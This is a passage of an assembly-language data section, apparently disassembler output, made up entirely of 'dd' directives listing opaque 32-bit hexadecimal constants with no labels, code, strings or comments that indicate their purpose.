		dd 25447F55h, 0F78958E9h, 41F50AD7h, 2C2C8F70h,	16D971FFh
		dd 7D03EA05h, 0A2CDC735h, 36405F78h, 49823D91h,	104859Eh
		dd 52D3AFA4h, 0B322EC7Eh, 0AEDB1392h, 0BBADDC9Fh, 5CFFE12h
		dd 0ADBF8070h, 0E9DF0B8Ah, 56E5F8Bh, 0A3F45250h, 0CDCB2BD2h
		dd 0BBEE210h, 0C5369D68h, 45592E2h, 0CF5F9E1h, 0B63750ACh
		dd 0AF5C44D1h, 5B851AECh, 0E474AC5Fh, 6E7649F1h, 865FE90Ah
		dd 0CE309DEFh, 0FEF264BDh, 0DD1088A3h, 23ACCD73h, 12FDF22Ah
		dd 1224870Fh, 1835A2AFh, 0B2C16A09h, 4BF7F0A5h,	9FD4E31Dh
		dd 745A758Bh, 2CC1A081h, 0EBA14F28h, 2BEF46DDh,	0FC7081h
		dd 196C111Bh, 94B8EE9h,	0BC409ECh, 0D8280034h, 7253DF2Ch
		dd 4F69F8B3h, 0F799D5h,	5D49F0CFh, 0C8E5104Ah, 0E3040804h
		dd 3CEE7793h, 55015B86h, 0AD4D1DBDh, 0A42F4517h, 4618091Dh
		dd 0C50E3768h, 12B012E8h, 5572F0C8h, 301D67FAh,	2EF07BDCh
		dd 6F0C3170h, 25220C1Ch, 62F76F36h, 4DEB5DDAh, 0F66116B0h
		dd 0E9503304h, 36B4E754h, 8D89BD59h, 0BFD9167Dh, 6C7FAC3Ah
		dd 9399047h, 28852B5Eh,	81AA877h, 2805A18h, 897F9768h
		dd 7ABF9C15h, 0BFEDB78Bh, 0AEE98731h, 0B71C6938h, 0BBF8123Eh
		dd 64AB8612h, 0B8CD04B7h, 0C8AE137Fh, 44BC809h,	4139FBCCh
		dd 48BB00CAh, 1D00454Dh, 0B850EDD1h, 7BA688Bh, 0E882D3Bh
		dd 0E8A32FA5h, 59407EE9h, 8005F7ECh, 0FD89943Eh, 439CBD81h
		dd 0B18BF62Ch, 0E4475C82h, 0BD808104h, 17BDD60Eh, 0CD44F468h
		dd 6E800075h, 2D0B7E5Dh, 719770E9h, 38D7EB22h, 423323Dh
		dd 20682B17h, 0C0D2F850h, 57FF63B0h, 0E9E8BD47h, 21299F7h
		dd 53017B1Dh, 9588EEA1h, 0AE64EC31h, 0B60303B1h, 59CE30F8h
		dd 0FE55F582h, 0AAC83B8Ah, 5213713Ch, 82250B50h, 5195E9F8h
		dd 0D6EA6FC7h, 4893BA93h, 8420EAD3h, 0B5CB5285h, 426B49F1h
		dd 5B96FF27h, 0C55BF05h, 65C2090Ah, 1C79506Eh, 12D6ED80h
		dd 9EA67EBh, 3924C877h,	2A85CBC5h, 584F6AF8h, 75319FCDh
		dd 20258746h, 6819A237h, 361510EDh, 79B2A951h, 4075479h
		dd 0A05253C0h, 3FF2803Ch, 0DAD78827h, 0E9220C08h, 0D94B76CFh
		dd 0B037E69Dh, 0A58A2FF1h, 5B679679h, 9EF4A6E5h, 0AD4602EAh
		dd 0D1019915h, 0BFA065F7h, 94A557B1h, 555C0128h, 0EAAFE0EAh
		dd 6EB72630h, 348F028Eh, 9EE01962h, 59B5A8A9h, 0EB5D8C3Ah
		dd 9E2DE371h, 0BE8CE158h, 881C696Ch, 3A31AEF8h,	9D59EC95h
		dd 212DFE97h, 6B4EBB08h, 34F7A527h, 0E4895FE4h,	1112B002h
		dd 1C802B47h, 0A12DD029h, 7C785A0Ah, 76D8FC93h,	0A4F27812h
		dd 93DF400Eh, 4A349BFEh, 5C8988ABh, 9EF48002h, 0C8ADBFE9h
		dd 0F61CEC12h, 558B7BC4h, 6D0A8635h, 0B33D0748h, 0F72B4A81h
		dd 604840D8h, 0EC9E05EFh, 94321D67h, 2786D056h,	3B714E86h
		dd 5BEEB995h, 0F85F6BA8h, 84095813h, 5E0147F3h,	522BD268h
		dd 0E87085ECh, 0CA955C9Fh, 119F00DDh, 0D701789Ch, 0C089ED0h
		dd 418C61E9h, 0B3862BFh, 95A99D84h, 0EC476875h,	73D39E60h
		dd 91AA9EF2h, 0E0BF283Eh, 3583C65h, 2510F924h, 860F7C60h
		dd 4FA11F5Fh, 43E1D82Eh, 0BE9900BDh, 50861D97h,	2D3CB1Bh
		dd 0E90FFD06h, 0C5D74DEAh, 9C57CB9Fh, 0B5295EEh, 6605E779h
		dd 0C71DE912h, 13C2EA47h, 36B5E83h, 4AB4F699h, 36DF5791h
		dd 0C10F2720h, 46CC8823h, 46B1EE8h, 47FB40C3h, 1EADABF5h
		dd 4843B803h, 84D5299Dh, 0A039F5B9h, 1840DCB8h,	0FC72CC58h
		dd 4E262FF5h, 290C04EBh, 90C687E2h, 303B3152h, 2192D192h
		dd 2D7A50EAh, 4A646BD4h, 48AC6C52h, 7309B93Dh, 8B575B72h
		dd 36C0F55Ch, 2D07ABE9h, 0CF214E03h, 62CB3CCFh,	5F02F707h
		dd 335D5BF5h, 79919211h, 84E696D4h, 8C2CEE0Ch, 51844831h
		dd 0A1395292h, 0D99D01C8h, 685D2E86h, 59742BC9h, 0B60B8813h
		dd 39DEC287h, 0BBB34207h, 0E7FF065Fh, 4AAE749Ah, 0FA85F95Eh
		dd 4B562EBEh, 0D72FBA1Eh, 94DD40BAh, 30524BFAh,	68575A00h
		dd 12C38F49h, 0D2F138E9h, 0C4D5E62Bh, 0BD07AA20h, 4B9E019Ah
		dd 0F367D8BBh, 4E0FDD4Bh, 591EB056h, 599EA429h,	45F43E31h
		dd 2A20044Eh, 53DA8919h, 87D93705h, 75237701h, 56707480h
		dd 6CF99565h, 34042EA6h, 6883C2FEh, 0BB0485E5h,	5100C36Eh
		dd 3A373EB9h, 0F1811501h, 5FC91345h, 0E95DA42Fh, 5873CE7h
		dd 4FFA2CC5h, 9006ECD6h, 2551FC16h, 577C5AEDh, 0FD83E904h
		dd 23E031EEh, 0DDF701ABh, 6F02BE3Ah, 0E1F995C3h, 0A53AEB21h
		dd 54E6A7FAh, 5E804F06h, 0E932DE12h, 5DA2BD2Fh,	13F6331Ah
		dd 0FC113982h, 2E205722h, 2E2B1642h, 9A6C71B1h,	0EA944A28h
		dd 4806EF88h, 0CA031BD1h, 2005134Fh, 0BFA71740h, 64F8C005h
		dd 0F7B8D601h, 0CD0E2B05h, 61FE50Ah, 33F41C08h,	5D765616h
		dd 3A173DFFh, 0B4E1B494h, 6851C02Fh, 0B1BB2BB3h, 517D2001h
		dd 0BEF84F7Bh, 60269642h
		dd 5A8D63E0h, 22772D00h, 0C0352C20h, 458C2501h,	0C7098542h
		dd 368E8603h, 0AA91E2F3h, 70B5D452h, 2D016000h,	51F9C369h
		dd 30D231h, 0BE5BE07Ah,	40E34B61h, 7C1D48C1h, 9F81BA5Bh
		dd 5E020E5Ah, 5B2D5C55h, 0B246DA60h, 7B12BA15h,	0E924C429h
		dd 0E361EF75h, 0CD6E871Ch, 58E01273h, 0D148B9DDh, 0C319913Fh
		dd 8F17BEEh, 0EB6DF2EFh, 2D9CB1B8h, 0EAE5E628h,	9ABE4713h
		dd 31CA4A72h, 24659A40h, 9351579h, 0D1F662D2h, 156B2C59h
		dd 1259D8Dh, 6F771909h,	0E6D625C4h, 0E4EA7E27h,	0A9D18151h
		dd 0FF671766h, 5C917982h, 0EA4293C8h, 8F6E339Dh, 31BB5EF1h
		dd 3439E975h, 0CD03BE3Ah, 298BCEEEh, 0B35BE1F7h, 94C15597h
		dd 48A2FA83h, 14B91860h, 93B068B1h, 85405C09h, 0DFED8026h
		dd 342F987Eh, 1A1CCF29h, 140B1C08h, 0C2E99A99h,	0C1C216EAh
		dd 60B47E57h, 790B67DDh, 5CD2EBA0h, 3405782h, 81F3F4Ah
		dd 0E17C01E0h, 2B628968h, 0A09F76EAh, 0FD594C08h, 0E780E10h
		dd 5BDA880Fh, 0B6CCD94Ah, 26D60AAFh, 0E1BBB944h, 7DF0E8AFh
		dd 292A0409h, 87C88C8h,	7E332D00h, 25E96466h, 0A0739316h
		dd 2AEA57A5h, 62F77042h, 0A31BF79Eh, 996842Fh, 6ABCF7C2h
		dd 3227FCF9h, 0F217802Dh, 0DE0882A5h, 0A0A48B32h, 54BEA5Ch
		dd 95493DAFh, 932AAE66h, 4A082B50h, 2BD509FBh, 880D3560h
		dd 655A6C00h, 0B9731335h, 1DCEA53h, 1A6468Ch, 7F9AE9C2h
		dd 67ED6E40h, 917BC122h, 485D6990h, 0BF67E9D5h,	690E02C8h
		dd 587F122Dh, 3307DA1h,	8F0F3C4Eh, 5702AE40h, 0A3F1C6C2h
		dd 6B8B55BCh, 9BBAC520h, 11983009h, 310E789Eh, 1EEF4CFDh
		dd 48367DCAh, 0DC06081Bh, 1C93C3DEh, 42BE5D4Bh,	402EE9A8h
		dd 0C69323DCh, 305BC6B3h, 168BBDC5h, 0F061142Dh, 0E5811D6Dh
		dd 1BE1CBF2h, 9BE0A575h, 7891F2EFh, 79BD213Ch, 36F3644Fh
		dd 0C465C510h, 4C1D5B77h, 0EEED2672h, 0B54818FCh, 5EF31756h
		dd 0D9745709h, 37FC866Ah, 0E525F8C6h, 710D5DFh,	7A2F25D3h
		dd 6E32FD1Ch, 2140C08h,	688F2FADh, 724B1344h, 0BC4A650Ah
		dd 83A59308h, 0BC7975EAh, 0E2706C2Fh, 0E980FF04h, 68505C54h
		dd 27EF805Ah, 25A480FCh, 6E95784Bh, 0FE220B35h,	3861D6FDh
		dd 0E9898501h, 0BCAC3133h, 0BD0F786h, 3AFB9AD7h, 7A67276Ch
		dd 5ACE2D1Ah, 2A3E2552h, 0A745BD38h, 0BB34E052h, 0F91526EDh
		dd 15D0190Ch, 0CFFC3F30h, 8C2CBA5Fh, 0B4185FE9h, 50BD3196h
		dd 0C2E8B4D8h, 365853E9h, 41825B9Dh, 8F83F3E9h,	0C04F4625h
		dd 0F475F4Ah, 96CE2689h, 0E89393F2h, 90CC4EB0h,	5FCD16B2h
		dd 51D9A05Ah, 0FB7DB526h, 0E9D6E00Bh, 0A57AF1F7h, 46E82ABCh
		dd 6F212499h, 5C270EE7h, 2F15734Dh, 0A4BC5E9Fh,	0ED0A2300h
		dd 7EAC105h, 217A0790h,	0C938DA24h, 0F7438F03h,	14180058h
		dd 90C749Eh, 0AE5BE9D1h, 0DF97A00Bh, 0C8BF1483h, 0A4BC105Ah
		dd 88EBEA1Eh, 773CA8AFh, 2BFC16D6h, 5810D337h, 22E98B3Dh
		dd 1C9528Ah, 0B13E25B8h, 60C2892Eh, 101EAF3h, 0E94AD2F7h
		dd 2A9E62F1h, 0CB20EC88h, 0CA396E52h, 0D8F28566h, 75F195E9h
		dd 3D30AF30h, 0DD127E29h, 4DEBD0B3h, 777BA070h,	58120749h
		dd 14EB0268h, 0FD8DBCFAh, 54FB6F8h, 17EF5240h, 0C323602h
		dd 0C469830Fh, 7F0BF74Dh, 5422CB86h, 8CB24058h,	664F19B6h
		dd 68CF64FCh, 0BA121D8Eh, 62E97A9Ch, 0D1F79DE4h, 2608CC80h
		dd 72902A4Dh, 0D7F8014Bh, 0AECA81C0h, 715AD577h, 83428F80h
		dd 0D90150C2h, 4108179Ah, 0A70B08D7h, 2E8E0F03h, 0AAC74E61h
		dd 8BE9D242h, 3789C469h, 0C0D18F9Dh, 3FD1A91Eh,	975A78B7h
		dd 3F834989h, 12003119h, 7B1BBE56h, 24217848h, 3EA5EF0h
		dd 7E8AE997h, 0BA98685Ah, 0A95C4E2Ah, 0F040CBB3h, 0F9012E53h
		dd 233A0C62h, 4B050524h, 29BD9FEFh, 84938FF2h, 8664AC45h
		dd 5B73CD3h, 7E4467C3h,	8CE3010Bh, 22A4743Fh, 0F2AF1392h
		dd 5A4431FFh, 9CD424C5h, 304D4162h, 1B3500AFh, 5603786Dh
		dd 0C6FED2Dh, 7096F915h, 6EEA412Fh, 30624520h, 0FD08DCE4h
		dd 1221605Ah, 9620151h,	7A013405h, 0B4C95490h, 90DC7A27h
		dd 6A9D09E3h, 8C7F1949h, 7CEEBA14h, 0E877400Dh,	6898687Ch
		dd 900C6620h, 0F6F90707h, 20C5FED5h, 16B353CDh,	0A549DEBFh
		dd 5F272567h, 0D475B69Ah, 0A2CDE5BEh, 61FFD236h, 4B94F8Eh
		dd 2210FAC0h, 892324F4h, 6D253F43h, 1CBFD900h, 0AE98795Bh
		dd 56C3C703h, 0F5E97A7Fh, 0F34F69A8h, 548C66ECh, 0B3E91679h
		dd 6349317Ah, 0F083040Dh, 3CA55812h, 193DA518h,	0DBB7AEE7h
		dd 9FFE0B25h, 9470A22h,	0FEDACCD7h, 3A51FFBh, 0A9E8C9F0h
		dd 5E034FA9h, 0D7602FD7h, 0CF5A0FE6h, 2A1AB50Dh, 6F759E2Bh
		dd 131A34B7h, 2186611Fh, 5F4F96FBh, 6C5768FAh, 0D7BA42BFh
		dd 82695A5Bh, 75896303h, 1E2D49CCh, 4F39F923h, 6B8BAEB2h
		dd 0A750592Dh, 0E9445C9Dh, 67D5B5Fh, 0E2C8FE9h,	0F74EB62Dh
		dd 0E8680810h, 0F599574Fh, 3603E72Ch, 3D2D32CEh, 0EB00B5Fh
		dd 61052D68h, 0E961CC54h, 0AD0398EAh, 265177F9h, 54E500EAh
		dd 4E94E52h, 6657800Ah,	2348BF7Bh, 9C0D2602h, 8A3F19C0h
		dd 976B614h, 26A97D5Ah,	0C41C45D8h, 92BE9E5Ch, 4DE4BDDDh
		dd 0B05F13A3h, 1A2AD045h, 56052570h, 78DB8C0Fh,	0B3F140FEh
		dd 0E949434Dh, 6D0B1C5Eh, 9D1ECC5Dh, 9BF4285Ah,	219F7509h
		dd 0C36986E8h, 6BF60545h, 9349706Dh, 0F986669h,	8F4BCBE9h
		dd 3097DFAEh, 85C1705Ch, 198F1D3Dh, 2067A401h, 11882508h
		dd 5D7A6D5Eh, 0E961EA45h, 888E562Eh, 0D2E54D5Dh, 10A7A30Ch
		dd 0AB4F7666h, 7FDA0262h, 68F3D5A0h, 58B754F7h,	0E9078050h
		dd 0AC1D4F50h, 61BBC4AEh, 4C5BCCBBh, 5B588B9Dh,	0F26C0939h
		dd 75648FCAh, 0DCA14ABDh, 35823FB9h, 3A20E6Dh, 0FEDF8F7h
		dd 6C5E10B5h, 4063C7A0h, 22050565h, 21727DDEh, 801040EFh
		dd 1DFB6FFh, 39BBCE4Eh,	27B730EFh, 6F80601Fh, 4C59F200h
		dd 0B14A091Fh, 0D38682ABh, 9F719960h, 28FCE985h, 2A99DDBBh
		dd 0EC5957EFh, 90A116ADh, 0C2D374EAh, 0BADF76F7h, 96DE007Fh
		dd 256C672Dh, 15201E9h,	0DDC1429Fh, 31586FE8h, 654B8B98h
		dd 6CAA4512h, 0ED4EE9DDh, 0F7AE0412h, 44EB5AD7h, 0B8E5E9E4h
		dd 0DFE94BB6h, 0A4DF0097h, 17E3F49h, 3734744Bh,	1DFC0C12h
		dd 250FE9B1h, 63133E75h, 20071914h, 5B86FE5Ah, 0E25410Ah
		dd 6C52B72Bh, 8230719h,	0E9575458h, 2D12465Eh, 0E6142A53h
		dd 65682F65h, 40206874h, 660BE916h, 0D6E1E4h, 0BF78130Dh
		dd 0AE8964EFh, 720F0CB7h, 0AB371641h, 0E958C11Bh, 0A5FD3A97h
		dd 4D1EBB4Eh, 4E9DA6D5h, 0C2599CEAh, 0E314F209h, 0D6368915h
		dd 0BFE98E34h, 0ACCDEAD3h, 3E25FE2Bh, 3ACAC08h,	714A6859h
		dd 8026D92Fh, 78F3B8BEh, 216A2E5Bh, 5ACF8F7Ch, 0AB7A05C4h
		dd 850F6801h, 2EBE595Ch, 0EB38EB5Ch, 8835E9C0h,	43EA0AB2h
		dd 56608AA0h, 22C3B104h, 0B1861D4Ah, 0CF90341Ah, 28F8AAA9h
		dd 0F078E912h, 0BAB55F44h, 2623CCF2h, 0A4E1F7E9h, 0A5B809E7h
		dd 0DB8C275Eh, 0AC76FBDh, 0A61ED444h, 542E0295h, 0E20016FCh
		dd 1837FF77h, 0FF654AE9h, 57823D09h, 98FE8D64h,	0BE758097h
		dd 989B790Dh, 2FF60587h, 0C030A476h, 0F83D80BAh, 9A686B09h
		dd 0BEA8714Dh, 0AA6B844Bh, 6809E02Bh, 9D7E46C4h, 553D1B62h
		dd 0EDC11098h, 94B8025Eh, 0D16F93DDh, 546BA96Ah, 107BE23Eh
		dd 5C24B0FAh, 0C9991F37h
		dd 10D719C4h, 4862468Fh, 9113F2E4h, 26F5F7C3h, 0C6082756h
		dd 9A438C52h, 754CBB71h, 5AB9D6D4h, 5A297114h, 0A385F96h
		dd 0AC17B5BDh, 0EE68C26Bh, 0BF1A465Dh, 5F704B56h, 7BF931E9h
		dd 6CC2F489h, 0D83085C8h, 4A5EE7FAh, 305639AFh,	9895540Dh
		dd 4B3F4226h, 40CFCAFh,	2BF25D26h, 68A2AC03h, 0E9D62198h
		dd 9081924Fh, 0E660CB88h, 2C5EBD60h, 0A3AD57C9h, 42316087h
		dd 0D54A1AB7h, 1A5AC6C4h, 6F0839FBh, 598F832Ch,	0EB205DD9h
		dd 2170AC27h, 4CF767FEh, 0A503CCE8h, 4A9920DFh,	586CB72Bh
		dd 129458B3h, 0B4BB126Dh, 5F17CB86h, 74D6182Ah,	3218C108h
		dd 3B8AE3E1h, 5955CEB3h, 8A60EA3Bh, 0BD5D4B68h,	0CF82941Ah
		dd 7756E84h, 0DA9AC5C7h, 398F6861h, 2AA2CE2Fh, 0E78CB5C3h
		dd 8200A490h, 0F772D579h, 957AE9D8h, 6CB94B80h,	954B6D85h
		dd 0C8312781h, 0E95D8509h, 2BD817C4h, 437EF3CCh, 0C7FE94A7h
		dd 0F71E0477h, 5B03203Ah, 92E9DEF6h, 89C6F583h,	0A6736727h
		dd 9D06D522h, 4C97079h,	3EE27A26h, 65D33578h, 50880483h
		dd 0FD29057Bh, 91ECC085h, 8555B95Eh, 8CD452B5h,	0E7DBC620h
		dd 0AF9E4E7Eh, 0B20711Fh, 460A12B7h, 0A21DCB5Fh, 8A79F5EAh
		dd 6D96804h, 60B88FAFh,	4F0A68DAh, 0FA234A77h, 0C2A99C25h
		dd 1C02D88Bh, 0E608B14Fh, 58D5C5B2h, 1033A0C3h,	60422658h
		dd 8C762DF5h, 9ED3018Ah, 0E0EC9C12h, 413414DEh,	7E916FC2h
		dd 57C94C60h, 32583D12h, 8272E000h, 9889E1C2h, 3D68555Bh
		dd 75F8E712h, 609D602Ah, 1C8759CBh, 0CB8B7495h,	4A81445Fh
		dd 82AE9114h, 0D29F3251h, 0FE8A63EFh, 0EDD107ECh, 5BA03974h
		dd 8DF05B68h, 0F5E04008h, 0DAF7ED2Ah, 36E4EA58h, 8488A2Fh
		dd 0E90A0722h, 8683A6AEh, 76D5F6EEh, 0FEF70008h, 7EB652CFh
		dd 748E6C0h, 0C6800E46h, 5E937D95h, 0FC96D2F2h,	0A3304CB9h
		dd 300C7E83h, 0E61D8C19h, 463B6EC0h, 0CFCE004Bh, 50100240h
		dd 0D3AD4EE9h, 0DAC66651h, 155EB903h, 0D8BD0EB8h, 3B7DA051h
		dd 0FB12CD31h, 0D7C2E889h, 0E9EB2CBBh, 9DB2695Ah, 0DF77C101h
		dd 2AF22963h, 902A3B1h,	20E6089h, 4F1EBA84h, 8852C1B3h
		dd 872CC8DDh, 63BF594Eh, 0A36F152Ah, 5806924h, 1DBE283Eh
		dd 24966755h, 0DFD0302Dh, 1EFF11A9h, 0ABAE20ECh, 85E15D4Ch
		dd 99ECE24Dh, 12CF6882h, 4F783875h, 1C5A62Fh, 0C28814B0h
		dd 43EAC058h, 9867DADEh, 4E1D69DCh, 95505DF8h, 0E962F3D1h
		dd 12405C6Dh, 23F0AB5Bh, 0BBD99F7Bh, 0D963EF02h, 1327E5Ah
		dd 9EE9CA31h, 6412BB7h,	27FB6553h, 0DAB863Bh, 8009315Eh
		dd 0BCFA75C5h, 5A9F5CB0h, 0BE55F6F1h, 20778F43h, 26AA8C06h
		dd 608D5D97h, 92522A06h, 5007A3EEh, 578191EBh, 6DDF1BA5h
		dd 0BB5F92F9h, 34E9B2DCh, 0BA444F2Dh, 578A2081h, 0EF58123Ah
		dd 50EAA999h, 4B474BBBh, 8C5E1E16h, 2731FF25h, 65AA051Ch
		dd 7C3B077Eh, 0AB5E4502h, 581D6089h, 0A1F4102Eh, 6E67A304h
		dd 68C0FE4Dh, 984EFD75h, 1D1C0C6Ch, 450C1B61h, 949F6B16h
		dd 680B14FCh, 97565A44h, 966EC62h, 1828D60h, 12305F3Eh
		dd 37FE7444h, 19CA93C0h, 7245834Bh, 30AEA553h, 9730513Eh
		dd 64AE4C5Fh, 0E90C0249h, 735F662Ah, 0A04E92E4h, 70EC52FAh
		dd 0B1FF8495h, 0A6488983h, 96F50563h, 82DD94B8h, 69F75DD7h
		dd 0C655917Ah, 89528AFEh, 1E79D75Ch, 304755C9h,	22E36CA7h
		dd 0BA386CCBh, 2DFF4B1Ah, 0B6E82BC5h, 212DE9ACh, 0BB7F489Eh
		dd 0EE29C043h, 7FF23F25h, 0A4E9214Fh, 0AB16BB96h, 6C95F1A2h
		dd 60E668A0h, 4F7BB1C6h, 59CC3C17h, 83DBB913h, 60FADD98h
		dd 8125F6A7h, 0D44A7E10h, 650755C7h, 6A1F0519h,	63E94730h
		dd 0A451C536h, 2AE42D4Dh, 0EE0116BAh, 0F64EAE9Eh, 3AE985C6h
		dd 0B15A1493h, 0AF05956Eh, 0C4AAA2C5h, 2755BD9Bh, 48A616F7h
		dd 0DFC75857h, 0E5F50961h, 0C15FA7EFh, 0C9A74081h, 20E7B2F5h
		dd 0C0B050ADh, 58C33888h, 47E9DC05h, 6F15B379h,	0A94C8439h
		dd 0AF794BFFh, 0C2F35C48h, 99273977h, 0D0945589h, 59CE0125h
		dd 0D366C31Eh, 8BA4B06Eh, 0C39F215h, 0FA90248h,	0DC14C5Ch
		dd 0C7E9D901h, 0FCCBEFBBh, 973F3E2Fh, 4FF1A73h,	0BE0D18C3h
		dd 41323D38h, 65B32073h, 2EE495h, 0BD54ED88h, 20C5125Fh
		dd 5E647BDh, 5E55D029h,	0E90F2113h, 0BA0250C8h,	3A392E69h
		dd 0CB581EFCh, 3CC5976Eh, 23ACEC0Ch, 62C26D8h, 536F095Dh
		dd 3889AC59h, 4F9A466Ch, 0AB6184B2h, 80A51BECh,	55514653h
		dd 3F5A6805h, 0E8A06F60h, 0F7CD67EEh, 7F64E052h, 40975E3Bh
		dd 2D1F15E1h, 73F62B53h, 632DF411h, 3FF2654Ch, 7250D1A9h
		dd 18E25B02h, 63ADB750h, 0C8FE2099h, 22C08DD2h,	81A8BA1Ch
		dd 51D26F08h, 1D2C4BA9h, 0BE688470h, 0C174B84Bh, 35D302D8h
		dd 0D654927Eh, 0E6B250F5h, 34A93B64h, 0FA4F60Eh, 1BE90E02h
		dd 0E0FFEFABh, 0B6C5CDEh, 535D4470h, 7D38DE02h,	38D51D5h
		dd 4E7476D5h, 0AAD1B616h, 4C7CAAAh, 0C4021A0h, 0C200EFECh
		dd 64E71210h, 0BDC6E9h,	7AFAB886h, 4E137A98h, 0A0665274h
		dd 3D065FFFh, 5B35091Eh, 0A8E9130Bh, 6F74ABB5h,	4B3D0CF4h
		dd 0A8CB2413h, 0DA4E9F1Ah, 0CFAF1271h, 8FE909F5h, 927D72D6h
		dd 30C07B85h, 2D164CB8h, 6587F6Bh, 8E031877h, 78CF8014h
		dd 0C4834A43h, 47A2BEB3h, 47F4A7Bh, 0A98958AAh,	7C3502E4h
		dd 0DF80CAFCh, 4DF5B5E2h, 0BB770CC8h, 0CF77283Eh, 5EC4464Eh
		dd 0FAB4B4E8h, 64F4B9A0h, 0EFF787A4h, 0E8BBBC40h, 986D2C17h
		dd 3E20F1B1h, 0E9F0A04Bh, 0F78F54E6h, 185B4CDFh, 2044250Eh
		dd 0D907FE74h, 601C6067h, 82389DE3h, 1D2F5Ch, 548071B7h
		dd 4905EBC1h, 267F15D1h, 9BB464Ch, 0C6FF5EE4h, 48842FA3h
		dd 392FD666h, 881D7237h, 24F305B4h, 832EA72h, 0BD16DB3Fh
		dd 0F56C56FFh, 6A83FBF0h, 0B3413B1Ah, 52EA5726h, 4E715857h
		dd 0C795BF58h, 0EC3F2EBh, 897A3068h, 1A987F89h,	54BF5B65h
		dd 0C664781Ah, 3AF84A4Ah, 20A10668h, 7DE9170Bh,	99CAD80h
		dd 0F0F06647h, 326817E4h, 979F62Fh, 573FBF4Ch, 0C255E004h
		dd 520B6CD2h, 0D0D8BD01h, 1995D713h, 0FEFCF356h, 3F2E5803h
		dd 25B9E281h, 0C0D8035h, 57053949h, 31990BBFh, 8B006E13h
		dd 373B7243h, 0CD43C0BFh, 0F4C14F3Eh, 7A4F4156h, 257B2DE7h
		dd 66F3A23Eh, 0BE57E0AFh, 0D76912DDh, 5892001Fh, 4E271A70h
		dd 8998E92Fh, 4908D724h, 0AFF116B2h, 9DF01D31h,	5CEE8E24h
		dd 0C0B73439h, 0CAE96FC6h, 15E6BA5Eh, 0CDA1625Fh, 8028D17Dh
		dd 0D766FBB8h, 0F76A2D70h, 0DE10B20Bh, 6ED55C25h, 4CB1FEA2h
		dd 4B44AC4h, 0B6F1AC1h,	51770646h, 0A7F50127h, 893BBD5Ch
		dd 7C76F4EFh, 77BD3AE1h, 0E9C0A68Bh, 74E5668h, 7EA01231h
		dd 61576602h, 0A9E780Fh, 157518E7h, 31FEB62Eh, 5FC2A90h
		dd 85BAA31h, 0F43F7D1Ch, 0ED62DFFh, 4E9B680Dh, 4F27E92Bh
		dd 98EB89C4h, 2C31CED5h, 544CD48Eh, 61749988h, 0B7C21A3Dh
		dd 22F27DDDh, 0C19234F6h, 17AA52B5h, 51A3829h, 0F57360DAh
		dd 47E46E1Fh, 50B18881h, 0E334D427h, 0E1C3C423h, 712E480Fh
		dd 3A29EB5Eh, 0EB66C56Ah, 0D24A5A8Bh, 9F565D96h, 471F5F4Ah
		dd 6E508E2Fh, 0D1F766E1h, 31037A10h, 0DDD7B19Fh, 0FB5FC217h
		dd 10D624EEh, 16D54CFFh, 2537532Eh, 70E8C3E4h, 47D7F707h
		dd 69F34081h, 8B972A03h, 53FA7C93h, 518D59C1h, 0E0028FE8h
		dd 2FB1ACE2h, 41BDA2AFh
		dd 65BF564h, 0DF325B7h,	0D6791785h, 0EE6800D1h,	8E65CCF2h
		dd 944013FEh, 0FDF06F6h, 0E5A61882h, 3871F732h,	8844E05Eh
		dd 9C759DC7h, 0E5E927C7h, 0BB2DE683h, 80DF9982h, 10406104h
		dd 72A8951Ah, 60CA2908h, 57D2BF5Fh, 0E9050704h,	0CCEF46EDh
		dd 0E8413E04h, 0B52877C8h, 0E8C8645Eh, 0ADCCDF25h, 594F4D32h
		dd 8571C55Ah, 0FAA2E95Ch, 7011C88h, 31F93A9Ah, 0A1D0D2F0h
		dd 21A0C475h, 0E941D988h, 77C21BF9h, 0E9E1E551h, 10644A0Fh
		dd 4DC98CBh, 3B1D6CE2h,	0FE61EA59h, 1664D79Ch, 68474052h
		dd 0A34F4B2Eh, 5EB85060h, 37E6251Fh, 6011D7D4h,	8BC4C32Dh
		dd 9A9F9AEAh, 0EC2A7D5Eh, 0F80216CCh, 0E0364F7Ah, 69C30B56h
		dd 0C87382Ah, 401B070Dh, 72B2D3Dh, 3B93D750h, 1D305441h
		dd 4ED89818h, 752AD294h, 0D5AA0975h, 8B438B32h,	0B22ED118h
		dd 125AD593h, 0EA8CB545h, 0D887AE92h, 0C8F4B5D9h, 7D4BD75Bh
		dd 7F6AC245h, 0FDAC7812h, 0DB5E68C7h, 32EFF830h, 86A665B7h
		dd 0AF5805E9h, 39871120h, 0C53FD088h, 0AAC1CC35h, 0A14CD48Bh
		dd 6A2EF15Bh, 0A8D2E3B9h, 46698673h, 0EBB20222h, 0D03097B0h
		dd 0D88AC1DFh, 0ADC0987Ch, 68154B2Ah, 7E577525h, 5175D220h
		dd 5B934216h, 6CF8A2E9h, 73700904h, 2E806459h, 0BC562DE9h
		dd 97F53425h, 8D553F73h, 0A598F42Fh, 45084312h,	191A3B01h
		dd 0CAD170Fh, 0DCA749D4h, 521DE2F1h, 95F2C3ECh,	0BD3B8641h
		dd 0DA247A02h, 29897AD4h, 8019D12Ah, 0A1F89750h, 5A13D331h
		dd 488ADE01h, 0B502BE4Fh, 405C1E23h, 958940CCh,	5F8CED47h
		dd 0BCB1D23h, 12E7BB3h,	0FEEB1785h, 9776B028h, 597F38E2h
		dd 0BCCB42DEh, 8F25804h, 645694CBh, 1894FD25h, 539BD90h
		dd 2E2F2618h, 6450FA09h, 0BE4E5FF8h, 55C9644h, 3104D5F7h
		dd 9227E9E8h, 927E5A6Eh, 90565763h, 72769068h, 0A05F4A4Eh
		dd 0CE2029C7h, 43220749h, 0D30F0754h, 0AF71960Eh, 55706A69h
		dd 8B2522E4h, 0A7C73EDh, 5292E77Ch, 294CFEC0h, 0F977B42Dh
		dd 44CF8281h, 57C02B74h, 0CC95A147h, 0BD65F45Fh, 0FABB2200h
		dd 790C8345h, 0DFEF381h, 0F75C5B01h, 0BF5D2C73h, 0E2ADF22Ch
		dd 40EE5537h, 0A178E92Eh, 751EDFADh, 95D85320h,	1E5A59F2h
		dd 50C141FCh, 486B3068h, 8800B809h, 0BB61672Eh,	487CD1CFh
		dd 6A0FB1BFh, 0FB73331Dh, 9E2A1D0Fh, 12DBF7CFh,	0CB805EBCh
		dd 15C4303Ch, 8E4AE974h, 9B6C59A4h, 7E02024Ch, 9CA1179Fh
		dd 20491B99h, 33308236h, 0E950AEAEh, 8D5549E6h,	56793C89h
		dd 0F5F34A2Fh, 0E583C143h, 2D053604h, 29C1EE15h, 112835F3h
		dd 0BED091C5h, 5B3DFCF3h, 0AAB9CA96h, 0FE531038h, 730C6082h
